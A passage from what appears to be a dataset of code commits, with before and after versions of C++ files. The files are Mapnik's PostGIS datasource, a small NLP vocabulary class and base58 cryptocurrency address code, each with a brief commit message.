fld_name=rs->getFieldName(i);\n int length = rs->getFieldLength(i);\n\t\t \n int type_oid = rs->getTypeOID(i);\n switch (type_oid)\n {\n case 21: \/\/ int2\n case 23: \/\/ int4\n desc_.add_descriptor(attribute_descriptor(fld_name,mapnik::Integer,false,length));\n break;\n case 700: \/\/ float4 \n case 701: \/\/ float8\n desc_.add_descriptor(attribute_descriptor(fld_name,mapnik::Double,false,length));\n case 1042: \/\/ bpchar\n case 1043: \/\/ varchar\n case 25: \/\/ text\n desc_.add_descriptor(attribute_descriptor(fld_name,mapnik::String));\n break;\n default: \/\/ shouldn't get here\n#ifdef MAPNIK_DEBUG\n clog << \"unknown type_oid=\"<<type_oid<<endl;\n#endif\n break;\n }\t \n }\n }\n }\n }\n}\n\nstd::string const postgis_datasource::name_=\"postgis\";\n\nstd::string postgis_datasource::name()\n{\n return name_;\n}\n\nint postgis_datasource::type() const\n{\n return type_;\n}\n\nlayer_descriptor postgis_datasource::get_descriptor() const\n{\n return desc_;\n}\n\nstd::string postgis_datasource::table_from_sql(const std::string& sql)\n{\n std::string table_name(sql);\n transform(table_name.begin(),table_name.end(),table_name.begin(),tolower);\n std::string::size_type idx=table_name.rfind(\"from\");\n if (idx!=std::string::npos)\n {\n idx=table_name.find_first_not_of(\" \",idx+4);\n table_name=table_name.substr(idx);\n idx=table_name.find_first_of(\" )\");\n return table_name.substr(0,idx);\n }\n return table_name;\n}\n\nfeatureset_ptr postgis_datasource::features(const query& q) const\n{\n Envelope<double> const& box=q.get_bbox();\n ConnectionManager *mgr=ConnectionManager::instance();\n shared_ptr<Pool<Connection,ConnectionCreator> > pool=mgr->getPool(creator_.id());\n if (pool)\n {\n shared_ptr<Connection> conn = pool->borrowObject();\n if (conn && conn->isOK())\n { \n PoolGuard<shared_ptr<Connection>,shared_ptr<Pool<Connection,ConnectionCreator> > > guard(conn,pool);\n std::ostringstream s;\n \n s << \"select asbinary(\"<<geometryColumn_<<\") as geom\";\n std::set<std::string> const& props=q.property_names();\n std::set<std::string>::const_iterator pos=props.begin();\n std::set<std::string>::const_iterator end=props.end();\n while (pos != end)\n {\n s <<\",\\\"\"<<*pos<<\"\\\"\";\n ++pos;\n }\t \n s << \" from \" << table_<<\" where \"<<geometryColumn_<<\" && setSRID('BOX3D(\";\n s << std::setprecision(16);\n s << box.minx() << \" \" << box.miny() << \",\";\n s << box.maxx() << \" \" << box.maxy() << \")'::box3d,\"<<srid_<<\")\";\n \n#ifdef MAPNIK_DEBUG\n std::clog << s.str() << \"\\n\";\n#endif \n shared_ptr<ResultSet> rs=conn->executeQuery(s.str(),1);\n return featureset_ptr(new postgis_featureset(rs,props.size()));\n }\n }\n return featureset_ptr();\n}\n\nfeatureset_ptr postgis_datasource::features_at_point(coord2d const& pt) const\n{\n ConnectionManager *mgr=ConnectionManager::instance();\n shared_ptr<Pool<Connection,ConnectionCreator> > pool=mgr->getPool(creator_.id());\n if (pool)\n {\n shared_ptr<Connection> conn = pool->borrowObject();\n if (conn && conn->isOK())\n { \n PoolGuard<shared_ptr<Connection>,shared_ptr<Pool<Connection,ConnectionCreator> > > guard(conn,pool);\n std::ostringstream s;\n \n s << \"select asbinary(\" << geometryColumn_ << \") as geom\";\n \n std::vector<attribute_descriptor>::const_iterator itr = desc_.get_descriptors().begin();\n std::vector<attribute_descriptor>::const_iterator end = desc_.get_descriptors().end();\n unsigned size=0;\n while (itr != end)\n {\n s <<\",\\\"\"<< itr->get_name() << \"\\\"\";\n ++itr;\n ++size;\n }\n \n s << \" from \" << table_<<\" where \"<<geometryColumn_<<\" && setSRID('BOX3D(\";\n s << std::setprecision(16);\n s << pt.x << \" \" << pt.y << \",\";\n s << pt.x << \" \" << pt.y << \")'::box3d,\"<<srid_<<\")\";\n \n#ifdef MAPNIK_DEBUG\n std::clog << s.str() << \"\\n\";\n#endif \n shared_ptr<ResultSet> rs=conn->executeQuery(s.str(),1);\n return featureset_ptr(new postgis_featureset(rs, size));\n }\n }\n return featureset_ptr();\n}\n\nEnvelope<double> postgis_datasource::envelope() const\n{\n if (extent_initialized_) return extent_;\n \n ConnectionManager *mgr=ConnectionManager::instance();\n shared_ptr<Pool<Connection,ConnectionCreator> > pool=mgr->getPool(creator_.id());\n if (pool)\n {\n shared_ptr<Connection> conn = pool->borrowObject();\n if (conn && conn->isOK())\n {\n std::ostringstream s;\n std::string table_name = table_from_sql(table_);\n if (params_.get(\"estimate_extent\") == \"true\")\n {\n s << \"select xmin(ext),ymin(ext),xmax(ext),ymax(ext)\"\n << \" from (select estimated_extent('\" \n << table_name <<\"','\" \n << geometryColumn_ << \"') as ext) as tmp\";\n }\n else \n {\n s << \"select xmin(ext),ymin(ext),xmax(ext),ymax(ext)\"\n << \" from (select extent(\" <<geometryColumn_<< \") as ext from \" \n << table_name << \") as tmp\";\n }\n \n shared_ptr<ResultSet> rs=conn->executeQuery(s.str());\n if (rs->next())\n {\n try \n {\n double lox=lexical_cast<double>(rs->getValue(0));\n double loy=lexical_cast<double>(rs->getValue(1));\n double hix=lexical_cast<double>(rs->getValue(2));\n double hiy=lexical_cast<double>(rs->getValue(3));\t\t \n extent_.init(lox,loy,hix,hiy);\n extent_initialized_ = true;\n }\n catch (bad_lexical_cast &ex)\n {\n clog << ex.what() << endl;\n }\n }\n rs->close();\n }\n }\n return extent_;\n}\n\npostgis_datasource::~postgis_datasource() {}\n<commit_msg>append namespace to 'transform' to support buiding with STLport.<commit_after>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/$Id: postgis.cc 44 2005-04-22 18:53:54Z pavlenko $\n\n#include <string>\n#include <algorithm>\n#include <set>\n#include <sstream>\n#include <iomanip>\n#include <boost\/lexical_cast.hpp>\n#include \"connection_manager.hpp\"\n#include \"postgis.hpp\"\n\nDATASOURCE_PLUGIN(postgis_datasource)\n\nconst std::string postgis_datasource::GEOMETRY_COLUMNS=\"geometry_columns\";\nconst std::string postgis_datasource::SPATIAL_REF_SYS=\"spatial_ref_system\";\n\nusing std::clog;\nusing std::endl;\n\nusing boost::lexical_cast;\nusing boost::bad_lexical_cast;\nusing boost::shared_ptr;\n\npostgis_datasource::postgis_datasource(parameters const& params)\n : datasource (params),\n table_(params.get(\"table\")),\n type_(datasource::Vector),\n extent_initialized_(false),\n desc_(params.get(\"type\")),\n creator_(params.get(\"host\"),\n params.get(\"port\"),\n params.get(\"dbname\"),\n params.get(\"user\"),\n params.get(\"password\")) \n{ \n\n unsigned initial_size;\n unsigned max_size;\n \n try \n {\n initial_size = boost::lexical_cast<unsigned>(params_.get(\"initial_size\")); \n }\n catch (bad_lexical_cast& )\n {\n initial_size = 1;\n }\n \n try \n {\n max_size = boost::lexical_cast<unsigned>(params_.get(\"max_size\")); \n }\n catch (bad_lexical_cast&)\n {\n max_size = 10;\n }\n \n ConnectionManager *mgr=ConnectionManager::instance(); \n mgr->registerPool(creator_, initial_size, max_size);\n \n shared_ptr<Pool<Connection,ConnectionCreator> > pool=mgr->getPool(creator_.id());\n if (pool)\n {\n shared_ptr<Connection> conn = pool->borrowObject();\n if (conn && conn->isOK())\n {\n PoolGuard<shared_ptr<Connection>,shared_ptr<Pool<Connection,ConnectionCreator> > > guard(conn,pool);\n std::string table_name=table_from_sql(table_);\n std::ostringstream s;\n s << \"select f_geometry_column,srid,type from \";\n s << GEOMETRY_COLUMNS <<\" where f_table_name='\" << table_name<<\"'\";\n \n shared_ptr<ResultSet> rs=conn->executeQuery(s.str());\n \n if (rs->next())\n {\n try \n {\n srid_ = lexical_cast<int>(rs->getValue(\"srid\"));\n desc_.set_srid(srid_);\n }\n catch (bad_lexical_cast &ex)\n {\n clog << ex.what() << endl;\n }\n geometryColumn_=rs->getValue(\"f_geometry_column\");\n std::string postgisType=rs->getValue(\"type\");\n }\n rs->close();\n \n \/\/ collect attribute desc\n s.str(\"\");\n s << \"select * from \"<<table_<<\" limit 1\";\n rs=conn->executeQuery(s.str());\n if (rs->next())\n {\n int count = rs->getNumFields();\n for (int i=0;i<count;++i)\n {\n std::string fld_name=rs->getFieldName(i);\n int length = rs->getFieldLength(i);\n\t\t \n int type_oid = rs->getTypeOID(i);\n switch (type_oid)\n {\n case 21: \/\/ int2\n case 23: \/\/ int4\n desc_.add_descriptor(attribute_descriptor(fld_name,mapnik::Integer,false,length));\n break;\n case 700: \/\/ float4 \n case 701: \/\/ float8\n desc_.add_descriptor(attribute_descriptor(fld_name,mapnik::Double,false,length));\n case 1042: \/\/ bpchar\n case 1043: \/\/ varchar\n case 25: \/\/ text\n desc_.add_descriptor(attribute_descriptor(fld_name,mapnik::String));\n break;\n default: \/\/ shouldn't get here\n#ifdef MAPNIK_DEBUG\n clog << \"unknown type_oid=\"<<type_oid<<endl;\n#endif\n break;\n }\t \n }\n }\n }\n }\n}\n\nstd::string const postgis_datasource::name_=\"postgis\";\n\nstd::string postgis_datasource::name()\n{\n return name_;\n}\n\nint postgis_datasource::type() const\n{\n return type_;\n}\n\nlayer_descriptor postgis_datasource::get_descriptor() const\n{\n return desc_;\n}\n\nstd::string postgis_datasource::table_from_sql(const std::string& sql)\n{\n std::string table_name(sql);\n std::transform(table_name.begin(),table_name.end(),table_name.begin(),tolower);\n std::string::size_type idx=table_name.rfind(\"from\");\n if (idx!=std::string::npos)\n {\n idx=table_name.find_first_not_of(\" \",idx+4);\n table_name=table_name.substr(idx);\n idx=table_name.find_first_of(\" )\");\n return table_name.substr(0,idx);\n }\n return table_name;\n}\n\nfeatureset_ptr postgis_datasource::features(const query& q) const\n{\n Envelope<double> const& box=q.get_bbox();\n ConnectionManager *mgr=ConnectionManager::instance();\n shared_ptr<Pool<Connection,ConnectionCreator> > pool=mgr->getPool(creator_.id());\n if (pool)\n {\n shared_ptr<Connection> conn = pool->borrowObject();\n if (conn && conn->isOK())\n { \n PoolGuard<shared_ptr<Connection>,shared_ptr<Pool<Connection,ConnectionCreator> > > guard(conn,pool);\n std::ostringstream s;\n \n s << \"select asbinary(\"<<geometryColumn_<<\") as geom\";\n std::set<std::string> const& props=q.property_names();\n std::set<std::string>::const_iterator pos=props.begin();\n std::set<std::string>::const_iterator end=props.end();\n while (pos != end)\n {\n s <<\",\\\"\"<<*pos<<\"\\\"\";\n ++pos;\n }\t \n s << \" from \" << table_<<\" where \"<<geometryColumn_<<\" && setSRID('BOX3D(\";\n s << std::setprecision(16);\n s << box.minx() << \" \" << box.miny() << \",\";\n s << box.maxx() << \" \" << box.maxy() << \")'::box3d,\"<<srid_<<\")\";\n \n#ifdef MAPNIK_DEBUG\n std::clog << s.str() << \"\\n\";\n#endif \n shared_ptr<ResultSet> rs=conn->executeQuery(s.str(),1);\n return featureset_ptr(new postgis_featureset(rs,props.size()));\n }\n }\n return featureset_ptr();\n}\n\nfeatureset_ptr postgis_datasource::features_at_point(coord2d const& pt) const\n{\n ConnectionManager *mgr=ConnectionManager::instance();\n shared_ptr<Pool<Connection,ConnectionCreator> > pool=mgr->getPool(creator_.id());\n if (pool)\n {\n shared_ptr<Connection> conn = pool->borrowObject();\n if (conn && conn->isOK())\n { \n PoolGuard<shared_ptr<Connection>,shared_ptr<Pool<Connection,ConnectionCreator> > > guard(conn,pool);\n std::ostringstream s;\n \n s << \"select asbinary(\" << geometryColumn_ << \") as geom\";\n \n std::vector<attribute_descriptor>::const_iterator itr = desc_.get_descriptors().begin();\n std::vector<attribute_descriptor>::const_iterator end = desc_.get_descriptors().end();\n unsigned size=0;\n while (itr != end)\n {\n s <<\",\\\"\"<< itr->get_name() << \"\\\"\";\n ++itr;\n ++size;\n }\n \n s << \" from \" << table_<<\" where \"<<geometryColumn_<<\" && setSRID('BOX3D(\";\n s << std::setprecision(16);\n s << pt.x << \" \" << pt.y << \",\";\n s << pt.x << \" \" << pt.y << \")'::box3d,\"<<srid_<<\")\";\n \n#ifdef MAPNIK_DEBUG\n std::clog << s.str() << \"\\n\";\n#endif \n shared_ptr<ResultSet> rs=conn->executeQuery(s.str(),1);\n return featureset_ptr(new postgis_featureset(rs, size));\n }\n }\n return featureset_ptr();\n}\n\nEnvelope<double> postgis_datasource::envelope() const\n{\n if (extent_initialized_) return extent_;\n \n ConnectionManager *mgr=ConnectionManager::instance();\n shared_ptr<Pool<Connection,ConnectionCreator> > pool=mgr->getPool(creator_.id());\n if (pool)\n {\n shared_ptr<Connection> conn = pool->borrowObject();\n if (conn && conn->isOK())\n {\n std::ostringstream s;\n std::string table_name = table_from_sql(table_);\n if (params_.get(\"estimate_extent\") == \"true\")\n {\n s << \"select xmin(ext),ymin(ext),xmax(ext),ymax(ext)\"\n << \" from (select estimated_extent('\" \n << table_name <<\"','\" \n << geometryColumn_ << \"') as ext) as tmp\";\n }\n else \n {\n s << \"select xmin(ext),ymin(ext),xmax(ext),ymax(ext)\"\n << \" from (select extent(\" <<geometryColumn_<< \") as ext from \" \n << table_name << \") as tmp\";\n }\n \n shared_ptr<ResultSet> rs=conn->executeQuery(s.str());\n if (rs->next())\n {\n try \n {\n double lox=lexical_cast<double>(rs->getValue(0));\n double loy=lexical_cast<double>(rs->getValue(1));\n double hix=lexical_cast<double>(rs->getValue(2));\n double hiy=lexical_cast<double>(rs->getValue(3));\t\t \n extent_.init(lox,loy,hix,hiy);\n extent_initialized_ = true;\n }\n catch (bad_lexical_cast &ex)\n {\n clog << ex.what() << endl;\n }\n }\n rs->close();\n }\n }\n return extent_;\n}\n\npostgis_datasource::~postgis_datasource() {}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * A class which is responsible for storing words or phrases in a efficient\n * way. These vocabularies can be used for several NLP applications.\n *\n * @date 1 April, 2015\n * @author Joeri HERMANS\n * @version 0.1\n *\n * Copyright 2015 Joeri HERMANS\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ BEGIN Includes. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ System dependencies.\n#include \"..\/..\/ml\/nlp\/vocabulary.h\"\n\n#include <algorithm>\n#include <cassert>\n\n\/\/ Application dependencies.\n\n\/\/ END Includes. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Vocabulary::add( const std::string & entity ) {\n \/\/ Checking the preconditions.\n assert( !entity.empty() && !contains(entity) );\n\n mStorage.push_back(entity);\n}\n\nbool Vocabulary::contains( const std::string & entity ) const {\n return ( std::find(mStorage.begin(),mStorage.end(),entity)\n != mStorage.end() );\n}\n\nstd::size_t Vocabulary::get( const std::string & entity ) const {\n std::vector<std::string>::const_iterator it;\n std::size_t index;\n\n it = std::find(mStorage.begin(),mStorage.end(),entity);\n index = std::distance(mStorage.begin(),it);\n\n return ( index );\n}\n\nstd::size_t Vocabulary::size( void ) const {\n return ( mStorage.size() );\n}\n<commit_msg>Fix vocabulary includes.<commit_after>\/**\n * A class which is responsible for storing words or phrases in a efficient\n * way. These vocabularies can be used for several NLP applications.\n *\n * @date 1 April, 2015\n * @author Joeri HERMANS\n * @version 0.1\n *\n * Copyright 2015 Joeri HERMANS\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/ BEGIN Includes. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ System dependencies.\n#include <algorithm>\n#include <cassert>\n\n\/\/ Application dependencies.\n#include <ias\/ml\/nlp\/vocabulary.h>\n\n\/\/ END Includes. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Vocabulary::add( const std::string & entity ) {\n \/\/ Checking the preconditions.\n assert( !entity.empty() && !contains(entity) );\n\n mStorage.push_back(entity);\n}\n\nbool Vocabulary::contains( const std::string & entity ) const {\n return ( std::find(mStorage.begin(),mStorage.end(),entity)\n != mStorage.end() );\n}\n\nstd::size_t Vocabulary::get( const std::string & entity ) const {\n std::vector<std::string>::const_iterator it;\n std::size_t index;\n\n it = std::find(mStorage.begin(),mStorage.end(),entity);\n index = std::distance(mStorage.begin(),it);\n\n return ( index );\n}\n\nstd::size_t Vocabulary::size( void ) const {\n return ( mStorage.size() );\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2014-2018 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <base58.h>\n\n#include <hash.h>\n#include <uint256.h>\n\n#include <assert.h>\n#include <stdint.h>\n#include <string.h>\n#include <vector>\n#include <string>\n#include <boost\/variant\/apply_visitor.hpp>\n#include <boost\/variant\/static_visitor.hpp>\n\n\/** All alphanumeric characters except for \"0\", \"I\", \"O\", and \"l\" *\/\n\/** All alphanumeric characters except for \"0\", \"I\", \"O\", and \"l\" *\/\nstatic const char* pszBase58 = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\";\n\nbool DecodeBase58(const char* psz, std::vector<unsigned char>& vch)\n{\n \/\/ Skip leading spaces.\n while (*psz && isspace(*psz))\n psz++;\n \/\/ Skip and count leading '1's.\n int zeroes = 0;\n int length = 0;\n while (*psz == '1') {\n zeroes++;\n psz++;\n }\n \/\/ Allocate enough space in big-endian base256 representation.\n int size = strlen(psz) * 733 \/1000 + 1; \/\/ log(58) \/ log(256), rounded up.\n std::vector<unsigned char> b256(size);\n \/\/ Process the characters.\n while (*psz && !isspace(*psz)) {\n \/\/ Decode base58 character\n const char* ch = strchr(pszBase58, *psz);\n if (ch == nullptr)\n return false;\n \/\/ Apply \"b256 = b256 * 58 + ch\".\n int carry = ch - pszBase58;\n int i = 0;\n for (std::vector<unsigned char>::reverse_iterator it = b256.rbegin(); (carry != 0 || i < length) && (it != b256.rend()); ++it, ++i) {\n carry += 58 * (*it);\n *it = carry % 256;\n carry \/= 256;\n }\n assert(carry == 0);\n length = i;\n psz++;\n }\n \/\/ Skip trailing spaces.\n while (isspace(*psz))\n psz++;\n if (*psz != 0)\n return false;\n \/\/ Skip leading zeroes in b256.\n std::vector<unsigned char>::iterator it = b256.begin() + (size - length);\n while (it != b256.end() && *it == 0)\n it++;\n \/\/ Copy result into output vector.\n vch.reserve(zeroes + (b256.end() - it));\n vch.assign(zeroes, 0x00);\n while (it != b256.end())\n vch.push_back(*(it++));\n return true;\n}\n\nstd::string EncodeBase58(const unsigned char* pbegin, const unsigned char* pend)\n{\n \/\/ Skip & count leading zeroes.\n int zeroes = 0;\n int length = 0;\n while (pbegin != pend && *pbegin == 0) {\n pbegin++;\n zeroes++;\n }\n \/\/ Allocate enough space in big-endian base58 representation.\n int size = (pend - pbegin) * 138 \/ 100 + 1; \/\/ log(256) \/ log(58), rounded up.\n std::vector<unsigned char> b58(size);\n \/\/ Process the bytes.\n while (pbegin != pend) {\n int carry = *pbegin;\n int i = 0;\n \/\/ Apply \"b58 = b58 * 256 + ch\".\n for (std::vector<unsigned char>::reverse_iterator it = b58.rbegin(); (carry != 0 || i < length) && (it != b58.rend()); it++, i++) {\n carry += 256 * (*it);\n *it = carry % 58;\n carry \/= 58;\n }\n\n assert(carry == 0);\n length = i;\n pbegin++;\n }\n \/\/ Skip leading zeroes in base58 result.\n std::vector<unsigned char>::iterator it = b58.begin() + (size - length);\n while (it != b58.end() && *it == 0)\n it++;\n \/\/ Translate the result into a string.\n std::string str;\n str.reserve(zeroes + (b58.end() - it));\n str.assign(zeroes, '1');\n while (it != b58.end())\n str += pszBase58[*(it++)];\n return str;\n}\n\nstd::string EncodeBase58(const std::vector<unsigned char>& vch)\n{\n return EncodeBase58(vch.data(), vch.data() + vch.size());\n}\n\nbool DecodeBase58(const std::string& str, std::vector<unsigned char>& vchRet)\n{\n return DecodeBase58(str.c_str(), vchRet);\n}\n\nstd::string EncodeBase58Check(const std::vector<unsigned char>& vchIn)\n{\n \/\/ add 4-byte hash check to the end\n std::vector<unsigned char> vch(vchIn);\n uint256 hash = Hash(vch.begin(), vch.end());\n vch.insert(vch.end(), (unsigned char*)&hash, (unsigned char*)&hash + 4);\n return EncodeBase58(vch);\n}\n\nbool DecodeBase58Check(const char* psz, std::vector<unsigned char>& vchRet)\n{\n if (!DecodeBase58(psz, vchRet) ||\n (vchRet.size() < 4)) {\n vchRet.clear();\n return false;\n }\n \/\/ re-calculate the checksum, ensure it matches the included 4-byte checksum\n uint256 hash = Hash(vchRet.begin(), vchRet.end() - 4);\n if (memcmp(&hash, &vchRet.end()[-4], 4) != 0) {\n vchRet.clear();\n return false;\n }\n vchRet.resize(vchRet.size() - 4);\n return true;\n}\n\nbool DecodeBase58Check(const std::string& str, std::vector<unsigned char>& vchRet)\n{\n return DecodeBase58Check(str.c_str(), vchRet);\n}\n\nCBase58Data::CBase58Data()\n{\n vchVersion.clear();\n vchData.clear();\n}\n\nvoid CBase58Data::SetData(const std::vector<unsigned char>& vchVersionIn, const void* pdata, size_t nSize)\n{\n vchVersion = vchVersionIn;\n vchData.resize(nSize);\n if (!vchData.empty())\n memcpy(vchData.data(), pdata, nSize);\n}\n\nvoid CBase58Data::SetData(const std::vector<unsigned char>& vchVersionIn, const unsigned char* pbegin, const unsigned char* pend)\n{\n SetData(vchVersionIn, (void*)pbegin, pend - pbegin);\n}\n\nbool CBase58Data::SetString(const char* psz, unsigned int nVersionBytes)\n{\n std::vector<unsigned char> vchTemp;\n bool rc58 = DecodeBase58Check(psz, vchTemp);\n if ((!rc58) || (vchTemp.size() < nVersionBytes)) {\n vchData.clear();\n vchVersion.clear();\n return false;\n }\n vchVersion.assign(vchTemp.begin(), vchTemp.begin() + nVersionBytes);\n vchData.resize(vchTemp.size() - nVersionBytes);\n if (!vchData.empty())\n memcpy(vchData.data(), vchTemp.data() + nVersionBytes, vchData.size());\n memory_cleanse(vchTemp.data(), vchTemp.size());\n return true;\n}\n\nbool CBase58Data::SetString(const std::string& str)\n{\n return SetString(str.c_str());\n}\n\nstd::string CBase58Data::ToString() const\n{\n std::vector<unsigned char> vch = vchVersion;\n vch.insert(vch.end(), vchData.begin(), vchData.end());\n return EncodeBase58Check(vch);\n}\n\nint CBase58Data::CompareTo(const CBase58Data& b58) const\n{\n if (vchVersion < b58.vchVersion)\n return -1;\n if (vchVersion > b58.vchVersion)\n return 1;\n if (vchData < b58.vchData)\n return -1;\n if (vchData > b58.vchData)\n return 1;\n return 0;\n}\n\nnamespace\n{\n\/** base58-encoded Chaincoin addresses.\n * Public-key-hash-addresses have version 0 (or 111 testnet).\n * The data vector contains RIPEMD160(SHA256(pubkey)), where pubkey is the serialized public key.\n * Script-hash-addresses have version 5 (or 196 testnet).\n * The data vector contains RIPEMD160(SHA256(cscript)), where cscript is the serialized redemption script.\n *\/\nclass CBitcoinAddress : public CBase58Data {\npublic:\n bool Set(const CKeyID &id);\n bool Set(const CScriptID &id);\n bool Set(const CTxDestination &dest);\n bool IsValid() const;\n bool IsValid(const CChainParams ¶ms) const;\n\n CBitcoinAddress() {}\n CBitcoinAddress(const CTxDestination &dest) { Set(dest); }\n CBitcoinAddress(const std::string& strAddress) { SetString(strAddress); }\n CBitcoinAddress(const char* pszAddress) { SetString(pszAddress); }\n\n CTxDestination Get() const;\n bool GetKeyID(CKeyID &keyID) const;\n bool IsScript() const;\n};\n\nclass CBitcoinAddressVisitor : public boost::static_visitor<bool>\n{\nprivate:\n CBitcoinAddress* addr;\n\npublic:\n explicit CBitcoinAddressVisitor(CBitcoinAddress* addrIn) : addr(addrIn) {}\n\n bool operator()(const CKeyID& id) const { return addr->Set(id); }\n bool operator()(const CScriptID& id) const { return addr->Set(id); }\n bool operator()(const CNoDestination& no) const { return false; }\n};\n\n} \/\/ namespace\n\nbool CBitcoinAddress::Set(const CKeyID& id)\n{\n SetData(Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS), &id, 20);\n return true;\n}\n\nbool CBitcoinAddress::Set(const CScriptID& id)\n{\n SetData(Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS), &id, 20);\n return true;\n}\n\nbool CBitcoinAddress::Set(const CTxDestination& dest)\n{\n return boost::apply_visitor(CBitcoinAddressVisitor(this), dest);\n}\n\nbool CBitcoinAddress::IsValid() const\n{\n return IsValid(Params());\n}\n\nbool CBitcoinAddress::IsValid(const CChainParams& params) const\n{\n bool fCorrectSize = vchData.size() == 20;\n bool fKnownVersion = vchVersion == params.Base58Prefix(CChainParams::PUBKEY_ADDRESS) ||\n vchVersion == params.Base58Prefix(CChainParams::SCRIPT_ADDRESS);\n return fCorrectSize && fKnownVersion;\n}\n\nCTxDestination CBitcoinAddress::Get() const\n{\n if (!IsValid())\n return CNoDestination();\n uint160 id;\n memcpy(&id, vchData.data(), 20);\n if (vchVersion == Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS))\n return CKeyID(id);\n else if (vchVersion == Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS))\n return CScriptID(id);\n else\n return CNoDestination();\n}\n\nbool CBitcoinAddress::GetKeyID(CKeyID& keyID) const\n{\n if (!IsValid() || vchVersion != Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS))\n return false;\n uint160 id;\n memcpy(&id, vchData.data(), 20);\n keyID = CKeyID(id);\n return true;\n}\n\nbool CBitcoinAddress::IsScript() const\n{\n return IsValid() && vchVersion == Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS);\n}\n\nvoid CBitcoinSecret::SetKey(const CKey& vchSecret)\n{\n assert(vchSecret.IsValid());\n SetData(Params().Base58Prefix(CChainParams::SECRET_KEY), vchSecret.begin(), vchSecret.size());\n if (vchSecret.IsCompressed())\n vchData.push_back(1);\n}\n\nCKey CBitcoinSecret::GetKey()\n{\n CKey ret;\n assert(vchData.size() >= 32);\n ret.Set(vchData.begin(), vchData.begin() + 32, vchData.size() > 32 && vchData[32] == 1);\n return ret;\n}\n\nbool CBitcoinSecret::IsValid() const\n{\n bool fExpectedFormat = vchData.size() == 32 || (vchData.size() == 33 && vchData[32] == 1);\n bool fCorrectVersion = vchVersion == Params().Base58Prefix(CChainParams::SECRET_KEY);\n return fExpectedFormat && fCorrectVersion;\n}\n\nbool CBitcoinSecret::SetString(const char* pszSecret)\n{\n return CBase58Data::SetString(pszSecret) && IsValid();\n}\n\nbool CBitcoinSecret::SetString(const std::string& strSecret)\n{\n return SetString(strSecret.c_str());\n}\n\nstd::string EncodeDestination(const CTxDestination& dest)\n{\n CBitcoinAddress addr(dest);\n if (!addr.IsValid()) return \"\";\n return addr.ToString();\n}\n\nCTxDestination DecodeDestination(const std::string& str)\n{\n return CBitcoinAddress(str).Get();\n}\n\nbool IsValidDestinationString(const std::string& str, const CChainParams& params)\n{\n return CBitcoinAddress(str).IsValid(params);\n}\n\nbool IsValidDestinationString(const std::string& str)\n{\n return CBitcoinAddress(str).IsValid();\n}\n<commit_msg>Remove unused GetKeyID and IsScript methods from CBitcoinAddress<commit_after>\/\/ Copyright (c) 2014-2018 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <base58.h>\n\n#include <hash.h>\n#include <uint256.h>\n\n#include <assert.h>\n#include <stdint.h>\n#include <string.h>\n#include <vector>\n#include <string>\n#include <boost\/variant\/apply_visitor.hpp>\n#include <boost\/variant\/static_visitor.hpp>\n\n\/** All alphanumeric characters except for \"0\", \"I\", \"O\", and \"l\" *\/\n\/** All alphanumeric characters except for \"0\", \"I\", \"O\", and \"l\" *\/\nstatic const char* pszBase58 = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\";\n\nbool DecodeBase58(const char* psz, std::vector<unsigned char>& vch)\n{\n \/\/ Skip leading spaces.\n while (*psz && isspace(*psz))\n psz++;\n \/\/ Skip and count leading '1's.\n int zeroes = 0;\n int length = 0;\n while (*psz == '1') {\n 